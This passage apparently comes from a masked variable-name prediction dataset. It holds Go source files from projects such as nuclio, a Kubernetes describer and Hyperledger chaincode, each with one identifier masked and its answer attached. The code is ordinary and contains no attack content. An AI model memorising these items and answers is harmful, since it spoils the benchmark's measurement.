world"", now.BeginningOfDay()) env := map[string]any{ ""foo"": 100, ""ss"": strconv.Itoa('a'), ""bar"": md5.New().Sum([]byte(""200"")), } fmt.Println(""env:"", env) fmt.Println(""请输入:"") var buffer [512]byte n, err := os.Stdin.Read(buffer[:]) if err != nil { fmt.Println(""输入错误:"", err) return } if n < 10 { fmt.Println(""输入字符少于"", 10, char.CharLen(""输入字符少于"")) return } s := string(buffer[:]) fmt.Println(s) fmt.Println(""len()"", len(buffer)) fmt.Println(""len(回)"", len(""回"")) fmt.Println() fmt.Print(""按回车退出..."") os.Stdin.Read(buffer[:]) } ",counts 959,"//go:build test_unit /* Copyright 2017 The Nuclio Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package app import ( ""fmt"" ""testing"" ""github.com/nuclio/nuclio/pkg/functionconfig"" ""github.com/nuclio/nuclio/pkg/platformconfig"" ""github.com/nuclio/nuclio/pkg/processor"" // load cron trigger for tests purposes _ ""github.com/nuclio/nuclio/pkg/processor/trigger/cron"" ""github.com/nuclio/nuclio/pkg/processor/worker"" ""github.com/nuclio/logger"" nucliozap ""github.com/nuclio/zap"" ""github.com/stretchr/testify/suite"" ) type TriggerTestSuite struct { suite.Suite logger logger.Logger } func (suite *TriggerTestSuite) SetupSuite() { var err error suite.logger, err = nucliozap.NewNuclioZapTest(""test"") suite.Require().NoError(err) } func (suite *TriggerTestSuite) TestCreateManyTriggersWithSameWorkerAllocatorName() { processorInstance := Processor{ logger: suite.logger, functionLogger: suite.logger.GetChild(""some-function-logger""), namedWorkerAllocators: worker.NewAllocatorSyncMap(), } totalTriggers := 1000 [MASK] := map[string]functionconfig.Trigger{} for i := 0; i < totalTriggers; i++ { triggerName := fmt.Sprintf(""Cron%d"", i) [MASK] [triggerName] = functionconfig.Trigger{ Name: triggerName, Kind: ""cron"", WorkerAllocatorName: ""sameAllocator"", Attributes: map[string]interface{}{ ""interval"": ""24h"", }, } } triggers, err := processorInstance.createTriggers(&processor.Configuration{ Config: functionconfig.Config{ Spec: functionconfig.Spec{ Runtime: ""golang"", Handler: ""nuclio:builtin"", Triggers: [MASK] , }, }, PlatformConfig: &platformconfig.Config{ Kind: ""local"", }, }) suite.Require().NoError(err) suite.Require().Len(triggers, totalTriggers) suite.Require().Len(processorInstance.namedWorkerAllocators.Keys(), 1, ""Expected only one named allocator to be created"") } func TestTriggerTestSuite(t *testing.T) { suite.Run(t, new(TriggerTestSuite)) } ",triggerSpecs 960,"package main import ( ""flag"" ""fmt"" ""github.com/zenpk/dorm-system/internal/dal"" ""github.com/zenpk/dorm-system/internal/rpc"" pb ""github.com/zenpk/dorm-system/internal/service/token"" ""github.com/zenpk/dorm-system/pkg/viperpkg"" ""github.com/zenpk/dorm-system/pkg/zap"" ""google.golang.org/grpc"" ""log"" ""net"" ) var ( mode = flag.String(""mode"", ""dev"", ""define program mode"") ) func main() { flag.Parse() // Viper if err := viperpkg.InitGlobalConfig(""global-"" + *mode); err != nil { log.Fatalf(""failed to initialize Viper: %v"", err) } // specified config server := new(pb.Server) var err error server.Config, err = viperpkg.InitConfig(""token-"" + *mode) if err != nil { log.Fatalf(""failed to initialize specified config: %v"", err) } // zap if err := zap.InitLogger(""user""); err != nil { log.Fatalf(""failed to initialize zap: %v"", err) } defer func() { if err := zap.Logger.Sync(); err != nil { log.Fatalf(""failed to close zap: %v"", err) } }() // GORM if err := dal.InitDB(); err != nil { log.Fatalf(""failed to initialize database: %v"", err) } // etcd etcdRegister, err := rpc.InitEtcdRegister() if err != nil { log.Fatalf(""failed to initialize etcd: %v"", err) } defer func() { if err := etcdRegister.Close(); err != nil { log.Fatalf(""failed to close etcd register: %v"", err) } }() etcdTarget := server.Config.GetString(""etcd.Target"") [MASK] := fmt.Sprintf(""%s:%d"", server.Config.GetString(""server.target""), server.Config.GetInt(""server.port"")) ttl := server.Config.GetInt64(""etcd.ttl"") if err := etcdRegister.RegisterServer(etcdTarget, [MASK] , ttl); err != nil { log.Fatalf(""failed to register etcd: %v"", err) } // RPC listenAddr := fmt.Sprintf(""%s:%d"", server.Config.GetString(""server.host""), server.Config.GetInt(""server.port"")) lis, err := net.Listen(""tcp"", listenAddr) if err != nil { log.Fatalf(""failed to initialize TCP listener: %v"", err) } grpcServer := grpc.NewServer() pb.RegisterTokenServer(grpcServer, server) zap.Logger.Infof(""server listening at %v"", listenAddr) if err := grpcServer.Serve(lis); err != nil { log.Fatalf(""failed to serve: %v"", err) } } ",etcdAddr 961,"package backend import ( ""io/ioutil"" ""mime/multipart"" ""path/filepath"" ""errors"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/awserr"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/s3"" ""github.com/aws/aws-sdk-go/service/s3/s3iface"" log ""github.com/sirupsen/logrus"" ""github.com/zlangbert/hrp/config"" ""github.com/zlangbert/hrp/util"" ""sync"" ) type s3Backend struct { config *config.AppConfig svc s3iface.S3API awsUtil util.AwsUtil helmUtil util.HelmUtil reindexLock *sync.Mutex } func newS3(config *config.AppConfig) (*s3Backend, error) { // validate config if config.S3.Region == """" { return nil, errors.New(""s3 config - region missing"") } if config.S3.Bucket == """" { return nil, errors.New(""s3 config - bucket missing"") } if config.S3.LocalSyncPath == """" { return nil, errors.New(""s3 config - local sync path missing"") } // create aws session awsConfig := &aws.Config{Region: aws.String(config.S3.Region)} awsSession, err := session.NewSession(awsConfig) if err != nil { handleAwsError(err) return nil, errors.New(""failed to create aws session"") } return &s3Backend{ svc: s3.New(awsSession), config: config, awsUtil: util.NewAwsUtil(config.Debug), helmUtil: util.NewHelmUtil(config.Debug), reindexLock: &sync.Mutex{}, }, nil } /* * Initialize backend */ func (b *s3Backend) Initialize() error { log.Info(""initializing..."") err := b.Reindex() if err != nil { return handleAwsError(err) } return nil } /* * Get index: * * read index from s3 */ func (b *s3Backend) GetIndex() ([]byte, error) { key := filepath.Join(b.config.S3.Prefix, util.HelmIndexFilename) return b.getFile(key) } /* * Get chart: * * read chart from s3 */ func (b *s3Backend) GetChart(name string) ([]byte, error) { key := filepath.Join(b.config.S3.Prefix, name) return b.getFile(key) } func (b *s3Backend) getFile(key string) ([]byte, error) { result, err := b.svc.GetObject(&s3.GetObjectInput{ Bucket: &b.config.S3.Bucket, Key: &key, }) if err != nil { return nil, handleAwsError(err) } bytes, err := ioutil.ReadAll(result.Body) if err != nil { log.Errorf(""failed reading file from s3: %s"", key) return nil, handleAwsError(err) } return bytes, nil } /* * Put chart: * * 1. upload chart to s3 * 2. reindex */ func (b *s3Backend) PutChart(filename string, file multipart.File) error { key := filepath.Join(b.config.S3.Prefix, filename) _, err := b.svc.PutObject(&s3.PutObjectInput{ Bucket: &b.config.S3.Bucket, Key: &key, Body: file, }) if err != nil { return handleAwsError(err) } err = b.Reindex() if err != nil { return handleAwsError(err) } return nil } /* * Reindex repository: * * 1. sync bucket locally * 2. regenerate index * 3. sync index back to s3 */ func (b *s3Backend) Reindex() error { b.reindexLock.Lock() defer b.reindexLock.Unlock() log.Info(""reindexing..."") source := ""s3://"" + filepath.Join(b.config.S3.Bucket, b.config.S3.Prefix) [MASK] := b.config.S3.LocalSyncPath // local bucket sync err := b.awsUtil.Sync(source, [MASK] ) if err != nil { return err } // helm reindex err = b.helmUtil.GenerateIndex(b.config.BaseURL, b.config.S3.LocalSyncPath) if err != nil { return err } // read index file indexData, err := b.helmUtil.ReadIndex(b.config.S3.LocalSyncPath) if err != nil { return err } // upload new index key := filepath.Join(b.config.S3.Prefix, util.HelmIndexFilename) _, err = b.svc.PutObject(&s3.PutObjectInput{ Bucket: &b.config.S3.Bucket, Key: &key, Body: indexData, }) if err != nil { return handleAwsError(err) } log.Info(""done reindexing"") return nil } /* * log details if the error is an aws error */ func handleAwsError(err error) error { if err != nil { if awsErr, ok := err.(awserr.Error); ok { // Prints out full error message, including original error if there was one. log.Error(awsErr.Error()) } else { log.Error(err.Error()) } } return err } ",target 962,"/* * (c) Copyright Ascensio System SIA 2022 * * Licensed under the Apache License, Version 2.0 (the ""License""); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an ""AS IS"" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package config import ( ""context"" ""path/filepath"" ""runtime"" ""github.com/ONLYOFFICE/onlyoffice-trello/internal"" ""github.com/ONLYOFFICE/onlyoffice-trello/pkg"" ""github.com/go-playground/validator/v10"" ""github.com/sethvargo/go-envconfig"" ""github.com/spf13/viper"" ) type ConfigType string const ( ConfigYML ConfigType = ""yml"" ) func (t ConfigType) Validate() error { switch t { case ConfigYML: return nil default: return internal.ErrConfigInvalidType } } type ServerConfiguration struct { Host string `env:""HOST"" validate:""required""` Port int `env:""PORT"" validate:""required""` Key string `env:""PROXY_KEY"" validate:""required,len=32""` Secret []byte Limit int `env:""LIMIT"" validate:""required,min=1""` IPLimit int `env:""IP_LIMIT"" validate:""required,min=1""` Environment int `env:""ENV"" validate:""required,min=1,max=2""` } type Config struct { Server ServerConfiguration Proxy pkg.ProxyParameters } func (c *Config) Validate() error { validator := validator.New() return validator.Struct(c) } type ConfigParameters struct { Filename string Type ConfigType } /// TODO: Flags, Refactoring func NewConfig(params ConfigParameters) (Config, error) { var config Config config.Server.Environment = 1 err := params.Type.Validate() if err != nil { return config, err } _, b, _, _ := runtime.Caller(0) dir := filepath.Dir(b) viper.AddConfigPath(dir) viper.SetConfigFile(params.Filename) viper.SetConfigType(string(params.Type)) viper.AutomaticEnv() [MASK] := viper.ReadInConfig() if [MASK] != nil { ctx := context.Background() if err = envconfig.Process(ctx, &config.Server); err != nil { return config, &internal.ErrConfigInitialization{ Reason: err.Error(), } } } else { if err = viper.Unmarshal(&config); err != nil { return config, &internal.ErrConfigInitialization{ Reason: err.Error(), } } } if err = config.Validate(); err != nil { return config, err } config.Server.Secret = []byte(config.Server.Key) return config, nil } ",verr 963,"package awsapi_test import ( ""github.com/aws/aws-sdk-go-v2/service/cloudfront/sign"" ""io/ioutil"" ""os"" ""serverless-demo/awsapi"" ""strings"" ""testing"" ) func TestLoadFilePrivKey(t *testing.T) { content, err := ioutil.ReadFile(os.Getenv(""PRIVATE_KEY_FILE"")) if err != nil { t.Fatalf(""ReadFile failed: %v"", err) } pkStr := string(content) privKey, err := sign.LoadPEMPrivKey(strings.NewReader(pkStr)) if err != nil { t.Fatalf(""LoadPrivKey failed: %v"", err) } t.Logf(""LoadPrivKey: %v"", privKey) } func TestLoadSSMPrivKey(t *testing.T) { [MASK] := awsapi.NewSsmAPI() pkStr, err := [MASK] .GetDecryptedParameter(""/applications/ServerlessDemo/CloudFront/PrivateKey"") if err != nil { t.Fatalf(""GetDecryptedParameter failed: %v"", err) } privKey, err := sign.LoadPEMPrivKey(strings.NewReader(pkStr)) if err != nil { t.Fatalf(""LoadPrivKey failed: %v"", err) } t.Logf(""LoadPrivKey: %v"", privKey) }",ssmApi 964,"/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * ""License""); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package main import ( ""encoding/json"" ""fmt"" ""github.com/hyperledger/fabric/core/chaincode/shim"" sc ""github.com/hyperledger/fabric/protos/peer"" ""time"" ""bytes"" ) var index = 0 // Define the Smart Contract structure type SmartContract struct { } // Define the tax refund structure. Structure tags are used by encoding/json library type TaxRefundTXReceipt struct { Header TxHeader `json:""header""` Body TxBody `json:""body""` } type TxHeader struct { ReferenceId string `json:""reference_id""` TxStatus string `json:""tx_status""` RequestType string `json:""request_type""` RefundType string `json:""refund_type""` CurrentTxId string `json:""cur_tx_id""` } type TxBody struct { CustomerId string `json:""customer_id""` TaxRefunderId string `json:""taxRefunder_id""` StoreId string `json:""store_id""` PurchaseSerialNumber string `json:""purchsSn""` SalesDateTime string `json:""saleDatm""` TotalAmount string `json:""totAmt""` TotalQuantity string `json:""totQty""` TotRefund string `json:""totRefund""` TotalVAT string `json:""totVat""` TotalIcTax string `json:""totIct""` TotalEduTax string `json:""totEdut""` Details []TxDetails `json:""details""` } type TxDetails struct { ProductNumber string `json:""prodNm""` IneNumber string `json:""ineNo""` ProductCode string `json:""prdCode""` IndividualQty string `json:""indQty""` SalePrice string `json:""salePrice""` IndividualVat string `json:""indVat""` IndividualIct string `json:""indIct""` IndividualEdut string `json:""indEdut""` IndividualStr string `json:""indStr""` } //define Result Message API type ReturnMsg struct { Status string `json:""status""` Result string `json:""result""` DateTime string `json:""date""` } /* * The Init method is called when the Smart Contract ""tax refund"" is instantiated by the blockchain network * Best practice is to have any Ledger initialization in separate function -- see initLedger() */ func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response { return shim.Success(nil) } /* * The Invoke method is called as a result of an application request to run the Smart Contract ""tax refund"" * The calling application program has also specified the particular smart contract function to be called, with arguments */ func (s *SmartContract) Invoke(APIstub shim.ChaincodeStubInterface) sc.Response { // Retrieve the requested Smart Contract function and arguments function, args := APIstub.GetFunctionAndParameters() // Route to the appropriate handler function to interact with the ledger appropriately if function == ""getSingleTx"" { return s.getTransactionReceiptByTxId(APIstub, args) } else if function == ""getReferTx"" { return s.getReferenceTransactionReceiptsByTxId(APIstub, args) } else if function == ""getTxByCondition"" { return s.getTransactionReceiptsByConditions(APIstub, args) } else if function == ""initLedger"" { return s.Init(APIstub) } else if function == ""getTxByUserId"" { return s.getTransactionByUserId(APIstub, args) } else if function == ""getAllTx"" { return s.getAllTransactions(APIstub, args) } else if function == ""invokeRefundComplete"" { return s.invokeRefundTxComplete(APIstub, args) } return shim.Error(""Invalid Smart Contract function name."") } func (s *SmartContract) invokeRefundTxComplete(APIstub shim.ChaincodeStubInterface, args []string) sc.Response { var request TaxRefundTXReceipt [MASK] := []byte(args[1]) err := json.Unmarshal( [MASK] , &request) result, err := json.Marshal(request) loc, _ := time.LoadLocation(""Asia/Seoul"") now := time.Now().In(loc) if err != nil { response := &ReturnMsg{Status: ""500"", Result: ""Incorrect value of request arguments"", DateTime: fmt.Sprintf(""%s"", now)} return shim.Error(fmt.Sprintf(""%s"", response)) } else if args[0] != ""Client.refunder"" { response := &ReturnMsg{Status: ""400"", Result: ""The sender is not qualified role to propose a transaction"", DateTime: fmt.Sprintf(""%s"", now)} return shim.Error(fmt.Sprintf(""%s"", response)) } else { key := fmt.Sprintf(""TR-%d"", index) APIstub.PutState(key, result) response := &ReturnMsg{Status: ""200"", Result: fmt.Sprintf(""%s"", request), DateTime: fmt.Sprintf(""%s"", now)} fmt.Println(""Create Transaction Successfully: "", response) index = index + 1 return shim.Success([]byte(fmt.Sprintf(""%s"", response))) } } func (s *SmartContract) getTransactionReceiptByTxId(APIstub shim.ChaincodeStubInterface, args []string) sc.Response { if len(args) != 1 { return shim.Error(""Incorrect number of arguments. Expecting 1"") } queryKey := fmt.Sprintf(""{\""selector\"":{\""header\"":{\""cur_tx_id\"":\""%s\""}}}"", args[0]) resultsIterator, err := APIstub.GetQueryResult(queryKey) if err != nil { return shim.Error(err.Error()) } defer resultsIterator.Close() // buffer is a JSON array containing QueryRecords var buffer bytes.Buffer buffer.WriteString(""["") bArrayMemberAlreadyWritten := false for resultsIterator.HasNext() { queryResponse, err := resultsIterator.Next() if err != nil { return shim.Error(err.Error()) } // Add a comma before array members, suppress it for the first array member if bArrayMemberAlreadyWritten == true { buffer.WriteString("","") } buffer.WriteString(""{\""Key\"":"") buffer.WriteString(""\"""") buffer.WriteString(queryResponse.Key) buffer.WriteString(""\"""") buffer.WriteString("", \""Record\"":"") // Record is a JSON object, so we write as-is buffer.WriteString(string(queryResponse.Value)) buffer.WriteString(""}"") bArrayMemberAlreadyWritten = true } buffer.WriteString(""]"") fmt.Printf(""- getQueryResultForSpecificKey queryResult:\n%s\n"", buffer.String()) loc, _ := time.LoadLocation(""Asia/Seoul"") now := time.Now().In(loc) response := &ReturnMsg{Status: ""200"", Result: buffer.String(), DateTime: fmt.Sprintf(""%s"", now)} result, err := json.Marshal(response) return shim.Success([]byte(result)) } func (s *SmartContract) getReferenceTransactionReceiptsByTxId(APIstub shim.ChaincodeStubInterface, args []string) sc.Response { if len(args) != 1 { return shim.Error(""Incorrect number of arguments. Expecting 1"") } queryKey := fmt.Sprintf(""{\""selector\"":{\""header\"":{\""reference_id\"":\""%s\""}}}"", args[0]) resultsIterator, err := APIstub.GetQueryResult(queryKey) if err != nil { return shim.Error(err.Error()) } defer resultsIterator.Close() // buffer is a JSON array containing QueryRecords var buffer bytes.Buffer buffer.WriteString(""["") bArrayMemberAlreadyWritten := false for resultsIterator.HasNext() { queryResponse, err := resultsIterator.Next() if err != nil { return shim.Error(err.Error()) } // Add a comma before array members, suppress it for the first array member if bArrayMemberAlreadyWritten == true { buffer.WriteString("","") } buffer.WriteString(""{\""Key\"":"") buffer.WriteString(""\"""") buffer.WriteString(queryResponse.Key) buffer.WriteString(""\"""") buffer.WriteString("", \""Record\"":"") // Record is a JSON object, so we write as-is buffer.WriteString(string(queryResponse.Value)) buffer.WriteString(""}"") bArrayMemberAlreadyWritten = true } buffer.WriteString(""]"") fmt.Printf(""- getQueryResultForSpecificKey queryResult:\n%s\n"", buffer.String()) loc, _ := time.LoadLocation(""Asia/Seoul"") now := time.Now().In(loc) response := &ReturnMsg{Status: ""200"", Result: buffer.String(), DateTime: fmt.Sprintf(""%s"", now)} result, err := json.Marshal(response) return shim.Success([]byte(result)) } func (s *SmartContract) getTransactionReceiptsByConditions(APIstub shim.ChaincodeStubInterface, args []string) sc.Response { if len(args) != 1 { return shim.Error(""Incorrect number of arguments. Expecting 1"") } var resultsIterator shim.StateQueryIteratorInterface var err error if args[0] == """" { resultsIterator2, err2 := APIstub.GetStateByRange(""TR-0"", ""TR-99999"") resultsIterator = resultsIterator2 err = err2 } else { queryKey := fmt.Sprintf(""{\""selector\"":%s}"", args[0]) resultsIterator1, err1 := APIstub.GetQueryResult(queryKey) resultsIterator = resultsIterator1 err = err1 } if err != nil { return shim.Error(err.Error()) } defer resultsIterator.Close() // buffer is a JSON array containing QueryRecords var buffer bytes.Buffer buffer.WriteString(""["") bArrayMemberAlreadyWritten := false for resultsIterator.HasNext() { queryResponse, err := resultsIterator.Next() if err != nil { return shim.Error(err.Error()) } // Add a comma before array members, suppress it for the first array member if bArrayMemberAlreadyWritten == true { buffer.WriteString("","") } buffer.WriteString(""{\""Key\"":"") buffer.WriteString(""\"""") buffer.WriteString(queryResponse.Key) buffer.WriteString(""\"""") buffer.WriteString("", \""Record\"":"") // Record is a JSON object, so we write as-is buffer.WriteString(string(queryResponse.Value)) buffer.WriteString(""}"") bArrayMemberAlreadyWritten = true } buffer.WriteString(""]"") fmt.Printf(""- getQueryResultForSpecificKey queryResult:\n%s\n"", buffer.String()) loc, _ := time.LoadLocation(""Asia/Seoul"") now := time.Now().In(loc) response := &ReturnMsg{Status: ""200"", Result: buffer.String(), DateTime: fmt.Sprintf(""%s"", now)} result, err := json.Marshal(response) return shim.Success([]byte(result)) } func (s *SmartContract) getTransactionByUserId(APIstub shim.ChaincodeStubInterface, args []string) sc.Response { if len(args) != 2 { return shim.Error(""Incorrect number of arguments. Expecting 2"") } fmt.Printf(""- getQueryResultForQueryString separated by Role queryString:\n%s\n"", args[0]) resultsIterator, err := APIstub.GetQueryResult(getQueryStatement(args[0], args[1])) if err != nil { return shim.Error(err.Error()) } defer resultsIterator.Close() // buffer is a JSON array containing QueryRecords var buffer bytes.Buffer buffer.WriteString(""["") bArrayMemberAlreadyWritten := false for resultsIterator.HasNext() { queryResponse, err := resultsIterator.Next() if err != nil { return shim.Error(err.Error()) } // Add a comma before array members, suppress it for the first array member if bArrayMemberAlreadyWritten == true { buffer.WriteString("","") } buffer.WriteString(""{\""Key\"":"") buffer.WriteString(""\"""") buffer.WriteString(queryResponse.Key) buffer.WriteString(""\"""") buffer.WriteString("", \""Record\"":"") // Record is a JSON object, so we write as-is buffer.WriteString(string(queryResponse.Value)) buffer.WriteString(""}"") bArrayMemberAlreadyWritten = true } buffer.WriteString(""]"") fmt.Printf(""- getQueryResultForSpecificKey queryResult:\n%s\n"", buffer.String()) loc, _ := time.LoadLocation(""Asia/Seoul"") now := time.Now().In(loc) response := &ReturnMsg{Status: ""200"", Result: buffer.String(), DateTime: fmt.Sprintf(""%s"", now)} result, err := json.Marshal(response) return shim.Success([]byte(result)) } func getQueryStatement(argRole string, argId string) string { queryKey := """" if argRole == ""Client.customer"" { queryKey = fmt.Sprintf(""{\""selector\"":{\""body\"":{\""customer_id\"":\""%s\""}}}"", argId) } else if argRole == ""Client.store"" { queryKey = fmt.Sprintf(""{\""selector\"":{\""body\"":{\""store_id\"":\""%s\""}}}"", argId) } else if argRole == ""Client.refunder"" { queryKey = fmt.Sprintf(""{\""selector\"":{\""body\"":{\""taxRefunder_id\"":\""%s\""}}}"", argId) } else { queryKey = """" } return queryKey } func (s *SmartContract) getAllTransactions(APIstub shim.ChaincodeStubInterface, args []string) sc.Response { startKey := args[1] endKey := args[2] if args[0] != ""Client.customs"" { return shim.Error(""You are not authorized with scan this data"") } resultsIterator, err := APIstub.GetStateByRange(startKey, endKey) if err != nil { return shim.Error(err.Error()) } defer resultsIterator.Close() // buffer is a JSON array containing QueryResults var buffer bytes.Buffer buffer.WriteString(""["") bArrayMemberAlreadyWritten := false for resultsIterator.HasNext() { queryResponse, err := resultsIterator.Next() if err != nil { return shim.Error(err.Error()) } if bArrayMemberAlreadyWritten == true { buffer.WriteString("","") } buffer.WriteString(""{\""Key\"":"") buffer.WriteString(""\"""") buffer.WriteString(queryResponse.Key) buffer.WriteString(""\"""") buffer.WriteString("", \""Record\"":"") // Record is a JSON object, so we write as-is buffer.WriteString(string(queryResponse.Value)) buffer.WriteString(""}"") bArrayMemberAlreadyWritten = true } buffer.WriteString(""]"") fmt.Printf(""- getQueryResultForSpecificKey queryResult:\n%s\n"", buffer.String()) loc, _ := time.LoadLocation(""Asia/Seoul"") now := time.Now().In(loc) response := &ReturnMsg{Status: ""200"", Result: buffer.String(), DateTime: fmt.Sprintf(""%s"", now)} result, err := json.Marshal(response) return shim.Success([]byte(result)) } // The main function is only relevant in unit test mode. Only included here for completeness. func main() { // Create a new Smart Contract err := shim.Start(new(SmartContract)) if err != nil { fmt.Printf(""Error creating new Smart Contract: %s"", err) } } ",requestData 965,"package authx import ( ""reflect"" ""testing"" ""time"" ) func TestGenerateToken(t *testing.T) { tests := []struct { name string method string kv map[string]interface{} expired time.Duration wantErr bool }{ { name: ""jwt success"", method: NameJwt, kv: map[string]interface{}{ ""username"": ""admin"", ""password"": """", }, expired: time.Minute * 30, wantErr: false, }, { name: ""jwt expired token"", method: NameJwt, kv: map[string]interface{}{ ""username"": ""admin"", ""password"": """", }, expired: -time.Minute * 30, wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { token, err := GetAuth(tt.method).GenerateToken(tt.kv, tt.expired) if err != nil { t.Errorf(""GenerateToken() error = %v"", err) return } [MASK] , err := GetAuth(tt.method).ValidateToken(token) if tt.wantErr && err != nil { return } if err != nil { t.Errorf(""GenerateToken() error = %v"", err) return } if !reflect.DeepEqual( [MASK] , tt.kv) { t.Errorf(""GenerateToken() got = %v, want %v"", [MASK] , tt.kv) return } }) } } ",newKv 966,"/* Copyright 2014 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package versioned import ( ""bytes"" ""crypto/x509"" ""fmt"" ""io"" ""net"" ""net/url"" ""reflect"" ""sort"" ""strconv"" ""strings"" ""text/tabwriter"" ""time"" ""unicode"" ""github.com/fatih/camelcase"" appsv1 ""k8s.io/api/apps/v1"" autoscalingv1 ""k8s.io/api/autoscaling/v1"" autoscalingv2beta2 ""k8s.io/api/autoscaling/v2beta2"" batchv1 ""k8s.io/api/batch/v1"" batchv1beta1 ""k8s.io/api/batch/v1beta1"" certificatesv1beta1 ""k8s.io/api/certificates/v1beta1"" corev1 ""k8s.io/api/core/v1"" extensionsv1beta1 ""k8s.io/api/extensions/v1beta1"" networkingv1 ""k8s.io/api/networking/v1"" networkingv1beta1 ""k8s.io/api/networking/v1beta1"" policyv1beta1 ""k8s.io/api/policy/v1beta1"" rbacv1 ""k8s.io/api/rbac/v1"" schedulingv1 ""k8s.io/api/scheduling/v1"" storagev1 ""k8s.io/api/storage/v1"" ""k8s.io/apimachinery/pkg/api/errors"" ""k8s.io/apimachinery/pkg/api/meta"" ""k8s.io/apimachinery/pkg/api/resource"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/apimachinery/pkg/fields"" ""k8s.io/apimachinery/pkg/labels"" ""k8s.io/apimachinery/pkg/runtime/schema"" ""k8s.io/apimachinery/pkg/types"" ""k8s.io/apimachinery/pkg/util/duration"" ""k8s.io/apimachinery/pkg/util/intstr"" ""k8s.io/apimachinery/pkg/util/sets"" ""k8s.io/cli-runtime/pkg/genericclioptions"" ""k8s.io/client-go/dynamic"" clientset ""k8s.io/client-go/kubernetes"" corev1client ""k8s.io/client-go/kubernetes/typed/core/v1"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/reference"" ""k8s.io/klog"" ""k8s.io/kubectl/pkg/describe"" ""k8s.io/kubectl/pkg/scheme"" ""k8s.io/kubectl/pkg/util/certificate"" deploymentutil ""k8s.io/kubectl/pkg/util/deployment"" ""k8s.io/kubectl/pkg/util/event"" ""k8s.io/kubectl/pkg/util/fieldpath"" ""k8s.io/kubectl/pkg/util/qos"" ""k8s.io/kubectl/pkg/util/rbac"" resourcehelper ""k8s.io/kubectl/pkg/util/resource"" ""k8s.io/kubectl/pkg/util/slice"" storageutil ""k8s.io/kubectl/pkg/util/storage"" ) // Each level has 2 spaces for PrefixWriter const ( LEVEL_0 = iota LEVEL_1 LEVEL_2 LEVEL_3 ) // DescriberFn gives a way to easily override the function for unit testing if needed var DescriberFn describe.DescriberFunc = Describer // Describer returns a Describer for displaying the specified RESTMapping type or an error. func Describer(restClientGetter genericclioptions.RESTClientGetter, mapping *meta.RESTMapping) (describe.Describer, error) { clientConfig, err := restClientGetter.ToRESTConfig() if err != nil { return nil, err } // try to get a describer if describer, ok := DescriberFor(mapping.GroupVersionKind.GroupKind(), clientConfig); ok { return describer, nil } // if this is a kind we don't have a describer for yet, go generic if possible if genericDescriber, ok := GenericDescriberFor(mapping, clientConfig); ok { return genericDescriber, nil } // otherwise return an unregistered error return nil, fmt.Errorf(""no description has been implemented for %s"", mapping.GroupVersionKind.String()) } // PrefixWriter can write text at various indentation levels. type PrefixWriter interface { // Write writes text with the specified indentation level. Write(level int, format string, a ...interface{}) // WriteLine writes an entire line with no indentation level. WriteLine(a ...interface{}) // Flush forces indentation to be reset. Flush() } // prefixWriter implements PrefixWriter type prefixWriter struct { out io.Writer } var _ PrefixWriter = &prefixWriter{} // NewPrefixWriter creates a new PrefixWriter. func NewPrefixWriter(out io.Writer) PrefixWriter { return &prefixWriter{out: out} } func (pw *prefixWriter) Write(level int, format string, a ...interface{}) { levelSpace := "" "" prefix := """" for i := 0; i < level; i++ { prefix += levelSpace } fmt.Fprintf(pw.out, prefix+format, a...) } func (pw *prefixWriter) WriteLine(a ...interface{}) { fmt.Fprintln(pw.out, a...) } func (pw *prefixWriter) Flush() { if f, ok := pw.out.(flusher); ok { f.Flush() } } func describerMap(clientConfig *rest.Config) (map[schema.GroupKind]describe.Describer, error) { c, err := clientset.NewForConfig(clientConfig) if err != nil { return nil, err } m := map[schema.GroupKind]describe.Describer{ {Group: corev1.GroupName, Kind: ""Pod""}: &PodDescriber{c}, {Group: corev1.GroupName, Kind: ""ReplicationController""}: &ReplicationControllerDescriber{c}, {Group: corev1.GroupName, Kind: ""Secret""}: &SecretDescriber{c}, {Group: corev1.GroupName, Kind: ""Service""}: &ServiceDescriber{c}, {Group: corev1.GroupName, Kind: ""ServiceAccount""}: &ServiceAccountDescriber{c}, {Group: corev1.GroupName, Kind: ""Node""}: &NodeDescriber{c}, {Group: corev1.GroupName, Kind: ""LimitRange""}: &LimitRangeDescriber{c}, {Group: corev1.GroupName, Kind: ""ResourceQuota""}: &ResourceQuotaDescriber{c}, {Group: corev1.GroupName, Kind: ""PersistentVolume""}: &PersistentVolumeDescriber{c}, {Group: corev1.GroupName, Kind: ""PersistentVolumeClaim""}: &PersistentVolumeClaimDescriber{c}, {Group: corev1.GroupName, Kind: ""Namespace""}: &NamespaceDescriber{c}, {Group: corev1.GroupName, Kind: ""Endpoints""}: &EndpointsDescriber{c}, {Group: corev1.GroupName, Kind: ""ConfigMap""}: &ConfigMapDescriber{c}, {Group: 